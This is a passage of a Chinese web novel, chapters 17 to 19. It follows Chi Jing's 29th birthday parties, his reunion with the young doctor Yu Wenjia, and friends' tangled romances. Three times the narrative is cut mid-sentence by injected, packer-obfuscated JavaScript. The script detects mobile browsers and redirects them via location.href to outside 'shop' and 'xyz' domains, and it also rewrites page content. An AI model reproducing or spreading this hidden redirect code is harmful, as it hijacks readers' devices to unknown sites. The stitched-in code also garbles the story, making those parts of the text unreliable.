“嗨,那还早了。有时间就去呗,还有机会见见那些老同学,都多少年没见过了啊……一晃都十来年了。” 池镜杯子里还剩半杯酒,他今天差不多已经喝到位了,打算喝完这半杯就先走一步。他低着头轻晃酒杯,跟他这几个同学说:“月底我生日,提前跟你们说一声,有空的话,过来吃饭,地址到时候我发群里。” “那肯定有空啊。”老学委说,“有事我也得给它推了。” 池镜笑了下:“那倒也不必。有空就来,什么也别带。” 旁边有人在点酒,一道熟悉的声音夹杂在细微的人声中,从池镜身后传过来。 “麻烦给我一杯不含酒精的饮品。” 池镜一愣,立马转头看了一眼。 “随便什么都可以,只要无酒精就行。” 余闻嘉的目光恰好扫过来,跟池镜对视了一眼,神情淡淡的。反应这么平淡,显然,他不是凑巧出现在这儿的。 余闻嘉没有回避池镜的目光,但也没有主动跟池镜说话,跟不认识他似的。池镜也当没看见他,转过头继续喝酒,想看他一会儿能有什么反应。 庄楚越过池镜看了一眼他旁边的余闻嘉,随后又收回视线看向池镜,喝了口酒,没说什么。 学委点酒的当儿,见池镜的酒杯也快见底了,拿着酒单问他还想喝点什么。 池镜还没说话,一旁的余闻嘉突然开口:“别喝太多酒,伤胃。” 池镜侧过头,手撑着下巴,看着他。 余闻嘉说这话的时候眼睛还看着别的地方,不知道的人还以为他在跟空气对话。池镜莞尔一笑,不知是不是喝了酒的缘故,嗓音有些低哑:“领导还来现场审查?” 余闻嘉身边的室友们循声望过来,池镜这边的几个人也是,视线都落在了余闻嘉身上。 余领导转头看向池镜:“正好跟同学在附近。” 池镜拿着酒杯,杯脚在台面上轻敲两下,开玩笑地问:“来找我玩啊?” 余闻嘉还不承认:“来喝酒。” “是么,专门来喝不含酒精的酒?” “来喝酒,”余闻嘉顿了一下,“顺便来找你玩。” 池镜抿了口酒,点点头:“原来找我玩是顺带的事。” “不是。”余闻嘉接过酒保递过来的饮品,就这么一步步被池镜牵着鼻子走,“是主要的事。” 池镜笑着没说话。 学委终于找到机会打岔,问池镜:“熟人啊?” “嗯。”池镜点了点头,“邻居家的弟弟。” 毕竟两拨人都不认识,彼此间互相点头微笑打个招呼就算完了,之后就还是各聊各的。 学委问池镜还要不要点个别的什么,池镜说:“不了,今天已经喝到位了,这杯喝完我该走了。” “别啊,这才哪儿到哪儿?” 池镜笑了笑:“真到位了。” 说着他转头凑到余闻嘉耳边,跟他说:“你来找我玩,找的不是时候,我一会儿得先走了。” “你开车来的?”余闻嘉问他。 “嗯,等会儿叫个代驾。” “不用叫代驾。我也走,我开车送你回去。” 池镜眨了下眼睛:“都会开车了?” 余闻嘉看他一眼:“你还当我多少岁?” 池镜微微挑眉,他出国那会儿余闻嘉才十七八岁,有时真的会分不清今夕何夕。 他依稀想起来,很多年前,那时候他还在上大学,余闻嘉有次问他:“你到底什么时候才能不把我当小孩。” 如今余闻嘉自然已经不是小孩了,但实际年龄还是摆在那儿的,年轻得很。 池镜垂眸笑了笑:“你以为自己多少岁……” 余闻嘉皱着眉:“我23了。” 池镜抬眸看向他,眉梢微挑:“是吗,你不说我还以为32了。” 要是换以前,初中那会儿,余闻嘉又得被池镜逗炸毛了,噘着嘴跟他表达不满。当然,每次池镜也都乐在其中。 今时不同往日,余闻嘉手指搭在杯壁上轻轻蹭了下,淡淡道:“我23还是32,在你眼里不都一样吗——” “反正到我32岁的时候你也还是会这样。” “这样?”池镜眨了下眼睛,“哪样?” “拿我当个小孩逗。” 池镜笑出声来,余闻嘉问他:“我说的对吗?” “那得9年后再验证了。” 池镜盯着余闻嘉看了一会儿,突然说:“这些年……你好像变了点。跟以前不太一样了。” “哪里变了?”余闻嘉问。 “哪里都有点。” 余闻嘉垂眼看着酒杯,低声问:“那你觉得以前那样好,还是现在好?” 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162750|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题挺奇怪,池镜失笑:“以前和现在,不都是你吗。” 余闻嘉抬眸看了他一眼。 池镜说:“都好。” 池镜喝完最后那一点酒,便跟他几个老同学道别。余闻嘉也跟他室友们打了声招呼,准备跟池镜一起走。 池镜不打算让余闻嘉送他,跟他说:“我还是叫个代驾,先送你回学校。” 余闻嘉说:“我送你。” “你送我,一会儿你怎么回去?” “地铁。” “你也不嫌麻烦。” “不麻烦。” 坐地铁麻烦,让余闻嘉自己开车回去池镜又不放心。池镜想了想,提议道:“要不你今天睡我家,明天早上我送你去学校。” 余闻嘉转头看了他一眼。 说起来,池镜现在住的那个房子余闻嘉还从来没去过。池镜点点头:“就住我家吧。” 余闻嘉抿了下嘴,说:“不用。” 池镜轻轻拍了下他脑门:“开车送我回家,再坐地铁回去,你真不嫌折腾啊。” “住你家不是更麻烦么。”余闻嘉说,“我洗澡,换衣服……怎么弄。” 这倒也是,洗澡还好说,换衣服……内裤什么的,还要买新的洗了再烘干……不过也不是什么麻烦事儿。 池镜正想开口,余闻嘉朝他伸了下手:“车钥匙。” 池镜把钥匙给他。两人上了车,池镜问他:“确定不住我家?” “嗯。”余闻嘉启动车子,“学校就在地铁站口,坐地铁很方便。” 池镜点点头:“行,那随你。” 池镜身上酒气浓重,余闻嘉知道他今天肯定喝了不少。上车后,池镜侧头看着窗外,没怎么说话。他平时喝酒控制,有时朋友聚餐,或是因公需要,在某些特定场合必须要喝,除开这些情况,他平时基本不喝酒。这两天因为姥姥的病,他情绪确实不高,刚才不免多喝了点,现在酒劲上来了,头也开始有点晕了。 池镜闭上眼睛,无力再跟余闻嘉说笑。 池镜胃不好,上车后没一会儿就觉得胃里泛起一阵灼热的刺痛,今天回去晚上又该遭罪了。 “镜哥。” 余闻嘉的声音轻轻地传到耳边,池镜睁开了眼睛:“……嗯?” “你是不是心情不好。”余闻嘉问他。 池镜哑着嗓子说:“没有。” “有。姥姥……”余闻嘉顿了片刻,“你是不是已经知道了。” 池镜侧过头来看他,无需多言,池镜问他:“你怎么知道?” “我那天在医院看到秦姨带她来做检查。”余闻嘉顿了顿,“很多事都不是人为可以避免的,你不要想太多。报告我看过了,目前还是轻度,病症不会那么明显。姥姥年纪那么大了,其实只要身体上少遭点罪,那对她来说就是最好的。” 眼下最佳方案就是保守治疗,余闻嘉口拙,不懂怎么安抚人,他只是把自己的内心想法告诉池镜。 池镜沉默良久,忽然笑了笑,似是责怪:“你之前就知道这事了,还跟她们一样瞒着我。” “因为我跟她们是一样的心情。”余闻嘉说。 池镜看着他。 “她们不想看到你担心,我也不想。” 余闻嘉转头看了他一眼:“别不开心。” 池镜很轻地“嗯”了一声,伸手摸了摸他的脑袋,说:“知道了。” 池镜胃里不舒服,侧过头闭上眼小憩。余闻嘉开车很稳,他就在池镜身旁,身上那股熟悉的味道若有若无,让池镜心里变得放松,宁静。 17.第 17 章 17 池镜29岁生日组了两个局,一个家庭局,一个朋友局。他已经好几年没有正儿八经地过过生日了,之前驻外的时候,年年生日都很随便,一碗面打发。要不是他妈年年到日子都要提醒,可能连碗面都懒得做。长寿面也是他妈要求吃的,说其他能省,长寿面不能省,必须要吃。 今年生日池镜差点又忘了,他先前一直在国外,那么多年没过过一个像样的生日,姥姥一早就说了,这次生日要大办特办。池明执行力也是很强,池镜还没发表意见,他就已经订了家五星级饭店。 池镜想着家庭局都组了,就干脆也组个朋友局,正好他跟国内的朋友同学也好多年没见过了,趁此机会聚一聚。 于是家庭局安排在了农历生日那天,朋友局就安排在阳历生日。 余闻嘉本来是归到家庭局的,碰巧那天他出急诊,晚上没赶得过来。池镜就把他那一顿补到朋友局了。 池镜往常都过阳历生日,今年是例外,两个都过了。他在国外时几乎年年都会忘记自己生日,到日子了收到生日祝福短信才会想起来。 记得他生日的就那固定几个人,余闻嘉每年都是第一个给他发生日祝福的,今年也不例外。 池镜早上醒来,就看到了余闻嘉晚上零点发来的生日祝福。 就短短四个字——“生日快乐。” 生日礼物农历生日那天余闻嘉就托他妈交给池镜了,一条手工定制的灰黑色暗纹刺绣领带。 今天的生日聚会,池镜就戴了这条领带。 因为这次邀请的人多,吃完饭总得组织点娱乐活动,池镜就干脆订了个别墅,搞成聚会形式了。他请了一些这些年还在联系的老同学,关系比较好的朋友,还有单位的几个同事。陆思远他也请了,不过对方今天医院要值班,没时间过来。 余闻嘉今天倒是没有急诊,不过情况跟上次也差不多,下午跟了一台耗时很长的大手术,一直到晚饭时间都没结束。他进手术间前就给池镜发消息了,说自己晚上可能会迟一点到。 池镜知道余闻嘉手术结束了肯定会联系他,但晚上生日宴开始前还是给他发了个消息。他等了一会儿没等到余闻嘉的回复,就先开席了。结果等到晚饭结束,余闻嘉也没到场。 今天来的人里有好几个已经结婚成家了,有的娃都有了,剩下的未婚人士里,也基本都有对象了,单身的没几个。 池镜有几个老同学一来就问他的感情状况,池镜说没状况,那几个人还不信。等到晚宴开始,也没见池镜把什么人领出来给他们介绍,这才信了。 老同学这么优秀还单着,都觉得肯定是工作太忙了没时间找,然后这帮人开始了,说要帮池镜介绍。 “你们可别了。”丁铭笑道,“他家里长辈催他就催得够够的了,再说了,他这条件这模样,还用得着你们给他介绍啊。” “不给他介绍,那给你介绍。”有人说,“丁老师不也还单着呢吗。” “打住啊您,你们婚姻美满家庭和睦就可以了,我们单身有我们单身的快乐。” 聊到这个,丁铭转头问了池镜一句:“你姥最近还给你上强度吗?” “降低了。”池镜说。 “哎哟终于消停了啊?” 池母那边劝着,还是有效果的,姥姥这一阵基本没跟池镜提过相亲的事,就前两天他回家吃饭,老太太拿出几张照片,问他照片上的人哪一个合眼缘。消停了,但没完全消停。那几张照片里,还有一个甚至是男孩,长得白白净净,眉清目秀。 老太太怕是想的是,多一个选择,多一点可能。池镜还能说什么,池明当时看到那照片人都笑得快窜房顶上去了,还拿过照片细细品鉴一番,笑得一脸痞样儿,对池镜说:“长得不错,可以考虑。” 晚饭结束后,时间还很早,这帮人还有的能闹。 别墅一楼有个专门用来调酒喝酒的吧台,后面柜子里放着酒和酒具,别墅管家服务很到位,还负责调酒。池镜是寿星,管家说第一杯酒要调给他,笑着问他想喝什么。 今天生日,池镜刚才在酒桌上还是免不了喝了点酒,不过喝得不多。他笑着说:“麻烦帮我调杯度数低点的。” “好的。” 池镜坐在吧台边,拿出手机打开微信看了一眼,余闻嘉还没回消息。 “能给我也调一杯吗?”旁边传来仇亦的声音,池镜抬了下头。 “当然,这位先生想喝什么?”管家脸上挂着职业微笑,“不过这里材料不是很够,只能调些比较简单的。” 仇亦挑了个简单的:“Margarita可以吗?” “可以。” “麻烦了。” “应该的。” 仇亦是池镜大学校友,不过两个人不是一个专业。池镜大学修了双学位,先是念的外交专业,第二年又修了第二专业西班牙语。仇亦是英语专业的,现在是外事部翻译司的高级翻译。池镜大学那会儿就跟他认识了,两人关系很好。 池镜今天还邀请了温青堂,他以前驻外时的上级。当年温青堂还是大使馆的参赞,前两年调任回国,现在担任外宣司的副司长。池镜回国没多久,在单位熟人算不上多,温青堂既是他曾经的领导,也是他的故友。 池镜不会因为两人职衔不等,而豁不出脸面邀请他参加自己的生日聚会,那是个太有人格魅力的人。 今天温青堂也没过来参加晚宴,很正常,他日常工作很忙。 仇亦知道池镜邀请了温青堂,问池镜:“温司不过来了?” “没说不过来。”池镜说,“估计得晚点。” “来的可能性不大。”仇亦说。 “不来也正常,平时那么忙。” 池镜频频看手机,仇亦看出端倪:“你在等人?” 池镜点了点头。 仇亦勾了勾嘴角:“谁啊?” 池镜一看他这表情就知道他想多了,说:“压一压你的嘴角。就是一认识的弟弟,别多想。” 仇亦托着腮:“我也没多想啊,你跟我解释个什么劲儿。” 他视线下移,落在池镜的领带上。平时池镜戴的都是纯黑领带,很少见他戴这种带花纹的,仇亦觉得稀罕,手指勾了勾池镜的领带:“领带挺好看,别人送的吧。” 池镜“嗯”了声。 “你等的那个人送的?” 池镜看他一眼。 仇亦点点头:“猜中了。品味不错,很适合你。” 说话间,酒也调好了,两人坐吧台这聊了会儿天。 池镜原以为今天温青堂不会来了,没想到他坐着跟仇亦聊了没多久,门口就走进来一道熟悉的身影,穿着一身正装,气质儒雅。 温青堂西装革履,身边还跟着他的秘书,他环顾四周,看到了池镜。他侧过头跟秘书说了些什么,秘书点点头,站在门口没进来,而他则径直朝池镜的方向走来。 “温司。”池镜赶忙站了起来,跟他握了握手。 温青堂笑得温和:“太忙了,抽不出时间过来。” 他看了仇亦一眼,仇亦抿了下唇,叫了声:“温司。” 温青堂淡淡一笑,冲他点了下头,接着对池镜说:“我过来给你敬杯酒,一会儿就得走了。生日快乐。” 池镜转身去吧台端了两杯酒,递给温青堂一杯,温青堂敬了敬他。 温青堂敬完酒就走了,还让秘书留了瓶酒给池镜,说是生日礼物。 仇亦望着门口发呆,丢魂了一样。仇亦对温青堂的那点心思,池镜大学那会儿就知道了。仇亦认识温青堂很早,比池镜更早,他没说过自己跟温青堂的过去,池镜只知道他从懂什么是“喜欢”的时候就开始喜欢温青堂了。仇亦当初会选择现在这个职业,就是为了温青堂,为了能离他近一点。 仇亦工作能力很强,看起来好像是个恋爱脑,其实也是个事业脑,脑子分两半,一半被温青堂占了,一半被工作占了。他是翻译官,经常跟随温青堂出席记者招待会和各种国际会议。他还总说自己是爱屋及乌,其实根本没这么喜欢这个职业。 每次池镜都会拆穿他,说:“温青堂只是你的引路人,你爱你的职业跟爱屋及乌没关系。” 温青堂的确是他的引路人,也是他的可遇不可求。 仇亦不是没跟温青堂袒露过心意,但从来没得到过回应,唯一得到的明确回应是,温青堂跟他说他以后会遇到更适合他的人,仇亦告诉他不可能。温青堂比他大了十几岁,至今未婚,身边也从来没有过人。仇亦觉得他就是个彻头彻尾的怪人。 仇亦将酒杯里的酒一饮而尽。 池镜拿了瓶矿泉水给他:“别喝那么猛,一会儿醉了没人扛你回家。” 仇亦握着酒杯,握得很紧,握到指骨发白。池镜将他手里的酒杯抽走,矿泉水塞他手里:“自个儿愿意,就自个儿受着。” 仇亦抬头看他一眼,眼睛有点红。 池镜叹了口气,他很少见仇亦这副样子,他心态一直挺好的,好到有时候池镜都觉得他不是正常人。可能是今天酒喝多了,情绪有点波动。 仇亦打开矿泉水喝了一口。 “月亮落不下来,你就非得苦等着?”池镜问。 “只要月亮没选其他人,月亮就是我的。”仇亦说。 池镜沉默了会儿,忽然笑了:“既然都这么想了,你还忧郁个什么劲儿。” 仇亦舔了舔嘴唇:“我都这么深情了,还不允许我忧郁忧郁了。” 池镜笑了一声,侧过头喝酒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14174303|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“其实你跟他是一类人。”仇亦突然说,“你们俩很像。” 池镜转过头来看他。 仇亦一直都觉得池镜跟温青堂很像,两个人都是外热内冷,过分理性。面上看着温润似水,其实内里像金属一样坚硬,凿都凿不开。 仇亦歪着脑袋,手撑在脸颊上,眯着眼睛笑笑:“你们这样的人,是不是对什么都没有欲望?” 池镜嗤笑一声:“对什么都没欲望那就不是个人了。” 身后传来一阵轻笑,庄楚过来讨酒喝,刚巧听到池镜说的这话。 “那你的欲望是什么?”庄楚问了一句,很自然地在池镜旁边坐下,笑着问正在调酒的管家,“能给我调一杯吗?随便什么都可以。谢谢。” 对方微微一笑:“好的。” “嗯?”庄楚转头看向池镜,等他回答。 池镜抿了口酒,微微笑了下:“你见过有谁把自己的欲望说出来的吗。” 庄楚也笑:“当然有,只是要看倾吐的对象是谁。” 仇亦看了庄楚一眼,庄楚的视线也正好扫过来,两人互相笑着点了下头。刚才在酒桌上池镜都介绍过了,今天人来得比较多,仇亦不太记得对方的名字,只记得他是池镜的高中同学。 仇亦倒是也想问问池镜他所谓的“欲望”是什么,但直觉告诉他在池镜这位高中同学面前,不适合聊这个。对方看池镜的眼神他很熟悉,说的话也是暗含深意。 庄楚往门口的方向看了看,问池镜:“刚才进来敬酒的那位是哪位?怎么刚来就走了。” “以前驻外的一位上级领导。”池镜说。 “这样。”庄楚点了点头,调好的酒递了过来,庄楚接过,笑着道了声谢。 庄楚的手机响了,他拿出来看了一眼,看着屏幕眉心一蹙,随后划了下屏幕,直接挂掉了电话。 池镜和仇亦没问什么,池镜低头看了看腕表,庄楚视线落在他的手腕:“还有人没来?” 池镜“嗯”了一声,听到有人在唱K的地方喊他,让他过来唱歌。池镜笑着拒绝:“我五音不全,你们唱吧。” 有人过来拉他:“不会唱就喝酒,杵这儿干嘛。” “你们玩你们的,管我杵哪儿呢。”池镜被拉着去了沙发那儿,仇亦和庄楚也端上酒杯跟了过去。 寿星一过来,其他人也围过来了,沙发上坐满了人。干喝酒没意思,有人翻出抽屉里的骰子,要玩猜大小。一玩游戏,现场氛围就热闹起来了。玩游戏输了的要罚酒,池镜今天得控制酒量,就没跟他们一起玩。一开始输了只是喝酒,玩到后来有人说光喝酒没劲,得有惩罚。一帮人玩嗨了,纷纷表示同意。 池镜的某位大学同学是第一个受到惩罚的,被罚向寿星献歌一曲,唱什么歌随机,下首切到什么就唱什么,前提是不能开原唱——惩罚的点就在这儿,因为是随机的,很大概率会切到不会唱的歌。 池镜这个大学同学是个混血,他们平时都叫他的英文名Allen. Allen起身拿话筒,勾了勾嘴角道:“这个惩罚比我预想的温和多了,你们真温柔。” 池镜坐在沙发中央,笑了笑说:“这是惩罚他还是惩罚我。” 众人笑作一团。 “Carlos,”Allen叫池镜的英文名,对着话筒说话,声音放大了好几倍,“对我这么没信心啊。” 池镜双腿交叠往后一靠,姿态放松,说:“开始吧,我洗耳恭听。” “切歌切歌!”一旁立马有人说。 Allen运气比较好,切到了一首邓丽君的《我只在乎你》,不是冷门歌,但凡听过的都能哼上两句。虽然是首情歌,但没切到《今天你要嫁给我》这种程度的,池镜就很谢天谢地了。但凡切到个这种的,这帮人不知道能起哄成什么样。 随着舒缓的前奏响起,Allen开口唱了起来。他唱歌其实挺好听的,再加上又是这种经典老歌,一开口氛围都变了。Allen唱得投入,包含情感,全程望着池镜,还时不时朝他伸下手,入戏也是很深。 “任时光匆匆流去,我只在乎你。” “心甘情愿感染你的气息。” 唱到高潮部分,别墅门口突然走进来一个人。率先看到余闻嘉的是Allen,他面朝池镜唱歌,对着门口的方向,一抬眼余光就扫到了门口的人影。他看着余闻嘉的方向表情有些发愣,下一句歌词直接没唱,众人这才注意到他飘远的目光,纷纷看向门口。 池镜也往门口一看,接着就站了起来。 余闻嘉手术结束就直接赶过来了,也没来得及捯饬自己,穿着一身深色运动装,头发被手术帽压成了大背头,几缕发丝在额前挂着。 他眉心微蹙,目光投向人群中的池镜。 18.第 18 章 18 Allen停了几秒就继续唱了,转头一看池镜都站起来了,就干脆闭麦了。他现在对来人的兴趣比对唱歌要大。 “来新朋友了啊。”Allen拿着话筒说,看着余闻嘉的方向。 余闻嘉眉头皱得更紧,他讨厌旁人打量的目光,也讨厌成为众人的视线焦点。 池镜走过去把Allen的话筒往下一拨,跟大家说:“你们玩你们的,我过去招呼一下朋友。” “我这歌还唱么?”Allen问他。 “随便你。”池镜说着走去余闻嘉那儿。 剩下的人让Allen把歌唱完,Allen笑着重新唱了起来,不过全然不如刚才投入,唱得心不在焉,眼神老飘向门口。 “手术刚结束。”余闻嘉跟池镜解释,说罢,他目光落在了池镜胸口的领带上——那是他送池镜的生日礼物。 “来了就行。”池镜看着余闻嘉有些凌乱的头发,笑了声,“头发怎么乱成这样?” 余闻嘉一愣,说:“应该是手术帽压的。” 说着抓了一下额前的头发,低声问池镜:“很乱吗?” “还行。”池镜说,“乱得挺有层次的。” 余闻嘉皱了皱眉,背上了仅针对池镜的偶像包袱。池镜的描述很微妙,他觉得自己现在的发型肯定乱得不能看。 余闻嘉侧过头去想整理一下头发,刚有动作池镜的手突然伸过来拨了一下他额前的头发。 “头低一下,帮你理理。”池镜说。 余闻嘉听话地低下头,池镜在他头发上抓了两把,乱是没那么乱了,就是大背头的造型定型了,头发捋不到前面去,压住了刚松手,头发就又弹回去了。 足以见得手术时间有多长。 “你们手术时间每次都这么长吗?”池镜问他。 “大部分时间都比较长。” 池镜没办法把余闻嘉的头发压回来,轻轻拍了下他后脑勺:“就这么着吧。你的头发不听话,有自己的想法。” 余闻嘉露脑门是完全不一样的气质,他的眉眼处是有些凌厉的,被头发挡住会显得比较乖,毫无遮挡的情况下,整体的面容气质会带上点攻击性。 余闻嘉“嗯”了声,抬眸往Allen的方向看了一眼,正好撞上他的目光,那首《我只在乎你》刚唱完,那边一帮人还在鼓掌。余闻嘉收回视线,他手里握着手机,手指在手机背面点了两下,问池镜:“那人刚才是冲你唱歌?” 池镜笑了声,说:“是啊。” “干什么跟你唱这种歌。” 池镜感觉余闻嘉的聪明劲儿可能都用在念书上了,好多事上脑筋都不会转弯。 “你说呢。”池镜弹了一下他的额头,“那肯定是玩游戏输了啊。你以为他跟我唱情歌表白呢。” 余闻嘉没说话。 “是不是还没吃饭?”池镜问他。 “嗯。” “走吧,去厨房,给你留饭了。” 说话间,丁铭过来了。他盯着余闻嘉看了看,上次只是远远瞧了一眼,没怎么看清他的脸。眼下凑近一看,真是顿觉男大十八变。余闻嘉现在已经比他和池镜都高了,五官还是那个五官,张开了,气质也成熟了。 “余闻嘉?”丁铭笑着看着他。 余闻嘉点头“嗯”了声:“铭哥。” “你还记得我啊?” “记得。” 老跟池镜待在一起的人,他当然记得。 “咱俩有好多年没见过了。”丁铭说。 “嗯,是。” 池镜一年顶多回来那么一两趟,这么些年余闻嘉跟他见面的次数都屈指可数,更别说丁铭了,高中毕业后他俩基本没见过。 “你没事儿玩去吧。”池镜对丁铭说,“我带他去吃饭。” “什么你还没吃饭啊?”丁铭看着余闻嘉,有点惊讶。 “嗯。” 丁铭看了池镜一眼:“哪还有饭啊?” “我让管家留了。” 池镜领余闻嘉去了厨房,从蒸箱里端出一盘盘另留给他的菜,放在旁边的小餐桌上,菜还热腾腾冒着烟——余闻嘉没想到池镜会特意给他留菜,而闻到这些扑鼻的饭菜香,他才感觉到自己是真的很饿了。 “还以为你今天来不了了。”池镜说。 “来不了可以去你家找你。” 池镜笑了下:“我再单独给你做顿饭是吧。” “我给你做。” “现在都会做饭了啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14183176|148595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “会。”余闻嘉吃了口饭,抬眸看他一眼,“以后做给你吃。” “行,我等着了。” 池镜留余闻嘉一人在厨房吃饭,出去招呼朋友了。他一走,客厅沙发那儿围的人就不多了,毕竟他是今天这场聚会的中心,是把这一屋子里的人联系起来的人。 丁铭端了杯酒走过来,往厨房的方向看了看:“男大十八变啊。” “也没怎么变吧。”池镜说。 “个子窜成那样了都,还没怎么变啊。” “我说脸。” “脸没变,气质不一样了。” 两个人一起往吧台那儿走,丁铭喝着酒说:“不过他给我的感觉倒是跟上学那会儿一样,没怎么变。” 池镜转头看他。 丁铭笑着说:“劲劲儿的。” 池镜笑了一声,丁铭推了一下他的肩膀:“你甭笑,你就说是不是吧,是不是劲劲儿的,我记得那时候我跟他说话他都不爱搭理我,也就跟你话多。” “怎么没搭理你了,他就是话少。” 余闻嘉话少归话少,待人接物还是很有礼貌的。别人说什么他都应,只是应的话不多罢了。 “他现在干什么呢?在做什么工作?” 池镜坐下,从果盘里插了片西瓜吃,说:“读博。医学博士。” “挺厉害。”丁铭点了点头。 “Carlos.”Allen不知哪时过来的,放下酒杯往池镜旁边一坐。 “怎么了?” Allen看看厨房的方向,晃了晃酒杯里的酒,问池镜:“你那位刚来的朋友——是单身吗?” 他太“开门见山”了,都把池镜问愣住了。 池镜大二开始修西语的时候才认识的Allen,他也是西语专业的,不过最终没有从事相关行业。Allen是中英混血,身材容貌都很出挑,大三就被模特公司的经纪人看中签了公司,现在是位身价不低的模特。 他们那个圈子乱,池镜是知道的。 “嗯?”Allen眨了眨他那浅蓝色的漂亮眼睛。 ——这也是位万草丛中过,片叶不沾身的主儿。大学那会儿就是了。 池镜皱眉道:“他的主意你别打。” 19.第 19 章 19 “为什么?”Allen脸上浮现出笑意,眼神变得玩味,“难不成……他跟你有其他关系?” 丁铭一口酒含在嘴里差点呛着,看着Allen笑了笑:“慎言啊。” Allen也看着他笑:“那是怎么,除了这个原因我想不到别的。” “Carlos?”Allen看向池镜。 “是我很看重的弟弟。”池镜抿了口酒,“他跟你不是一路人,别把你那点心思放他身上。” “怎么就不是一路人了?” “人家是正经人。” “我就不是了?” 池镜看了他一眼,似笑非笑:“这得问你自己了。” Allen嗤笑一声:“……真刻薄啊,Carlos.” 池镜无所谓Allen这么说他,淡淡一笑:“难道我说的不是事实?还是说你还做不到正视自己?” “这一点我早就做到了。” “那就没必要多解释了,你明白我的意思。”池镜把话说得很明白,“你要找那种玩玩的,就不要去招惹他,别拿他当你的猎物。” “OK.”Allen耸了耸肩,“我放弃。” 既然是池镜很看重的人,他肯定不会去主动招惹。不过一想到对方那张极合他胃口的脸,还是觉得有点可惜。 丁铭跟Allen不是很熟,这边池镜跟Allen聊着,他就端着酒杯去客厅找那几个老同学了。成年人的交往很简单,吃顿饭喝个酒就能很快熟络起来,客厅里依旧热闹,唱歌的唱歌,喝酒的喝酒,玩游戏的玩游戏。 丁铭坐沙发上跟庄楚闲聊了会儿,没多久,庄楚的电话又响了起来,今天不知道多少回了。 丁铭低头看看他的手机:“怎么回事儿啊,你这手机今儿都响了多少回了,债主找上门了啊?” 庄楚拿起手机看了眼,一脸漠然地盯着屏幕,冷笑道:“确实是找上门的债主。” 这次庄楚没有拒接,拿着手机去了外面的院子。 庄楚划了一下屏幕,把手机举到耳边,这是个陌生号码,但对面不出意料地传来那个他熟悉的声音:“终于肯接我电话了?” “有完没完?” “当然没完。”对方一贯倨傲又轻慢的语气,“庄楚,你和我之间永远也完不了。” 庄楚冷着脸没说话。 电话那头是他分手不到一个月的前男友,因为两人的父亲在生意上有往来,庄楚这个手分得不可谓不糟心。他谈过这么多任,多数是好聚好散,这一位是最偏执最难缠的。他跟对方是在一次集团宴会上认识的,会注意到他也仅仅是因为他长得有几分神似池镜,庄楚对他没多少爱,但两人在床.事上很合拍。所以尽管对方性格极端病态,庄楚还是跟他谈了一段不短的时间——这应该是他谈过最久的一任。 庄楚从一开始就知道了,这人除了那张脸,其他没有任何方面是像池镜的,他跟池镜是完完全全的两种人。 庄楚也是后来才知道,对方的父亲是他父亲生意上的合作伙伴。为着这层缘故,一个近乎于炮友属性的男朋友,竟成了他父亲眼中值得他结婚成家的对象。 想想都觉得可笑。 当然他自己也是个傻逼,竟然跟这人纠缠不休,彼此折磨了这么久。 对方说得没错,他的确是够贱的。 “怎么,难道你还真想跟我捆绑在一起,一辈子?” 对方嗤笑一声:“捆不捆绑的,那也由我说了算,你没有资格跟我提分开。” “哦,是吗,那你是愿意继续做替身是吗?” 电话那头的人很重地吸了口气,但没说话,庄楚知道这招有效,继续道:“你可以猜猜我为什么突然跟你分手。” 如果不是对方极端过头,庄楚真不至于如此。庄楚跟他好的时候至少身为好男友的表面功夫是做足了,说是炮友,期间他也没出去找过其他人,分手也是好好提的,是他非要把他逼到这种程度,还不惜让长辈介入此事,这是最让庄楚厌恶的。 “还有一件事忘了告诉你。”庄楚望着远处,脸上不带一丝表情,“我之前的每一任都是替身,你不是唯一的那个。” 对面冷笑一声:“那倒是我高看你了,看来你连人都没得到过。” 他微微颤抖的声音出卖了他的情绪,庄楚知道自己已经伤到他了,低头笑笑:“是啊,所以我也只配得上你这种货色。” “那是你贱。” 庄楚不想再与他纠缠,道:“你明白就好。” 电话那头的男人死死咬着嘴唇,庄楚这样他一点办法都没有。 “就到这吧,别再换号给我打电话了。”庄楚说完就把电话挂了,拉黑了这个新号码。 余闻嘉吃完饭很快就从厨房出来了,视线扫了一圈,看到池镜坐在不远处的吧台边,正跟刚才唱歌的那个混血男人聊天。刚才他就注意到了,池镜在门口跟自己说话的时候,那人总盯着他们。 怀疑的种子一旦埋下,眼前的画面便让他觉得有些刺眼。 “镜哥。” 池镜闻声回了下头:“这么快就吃好了?” “嗯。” “是不是没吃多少?”池镜皱了下眉,“那么长时间的手术,耗神耗力的,你要多吃点补补。” “吃了挺多的。”余闻嘉说,“我吃饭快。” 